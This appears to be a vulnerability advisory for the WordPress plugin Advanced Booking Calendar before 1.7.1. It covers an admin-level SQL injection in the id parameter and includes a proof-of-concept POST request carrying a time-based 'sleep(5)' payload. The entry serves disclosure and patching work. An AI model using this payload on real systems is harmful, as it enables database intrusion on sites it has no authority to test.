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wpexploitYICHENG LIU-ZTE CHENFENG lab WPEX-ID:C5569317-B8C8-4524-8375-3E2369BDCC68
HistoryMar 21, 2022 - 12:00 a.m.

Advanced Booking Calendar < 1.7.1 - Admin+ SQLi

2022-03-2100:00:00
YICHENG LIU-ZTE CHENFENG lab
79

0.001 Low

EPSS

Percentile

41.2%

The plugin does not sanitise and escape the id parameter when editing Calendars, which could allow high privilege users such as admin to perform SQL injection attacks

Edit an existing Seasons & Calendars (/wp-admin/admin.php?page=advanced-booking-calendar-show-seasons-calendars) and tamper the id parameter

POST /wp-admin/admin-post.php HTTP/1.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 163
Origin: http://192.168.9.32
Connection: close
Cookie: [admin+]
Upgrade-Insecure-Requests: 1

action=abc_booking_editCalendar&id=1+and+sleep(5)&name=test&maxAvailabilities=1&maxUnits=5&pricePreset=9000&minimumStayPreset=1&partlyBooked=1&page_id=0&infotext=

0.001 Low

EPSS

Percentile

41.2%

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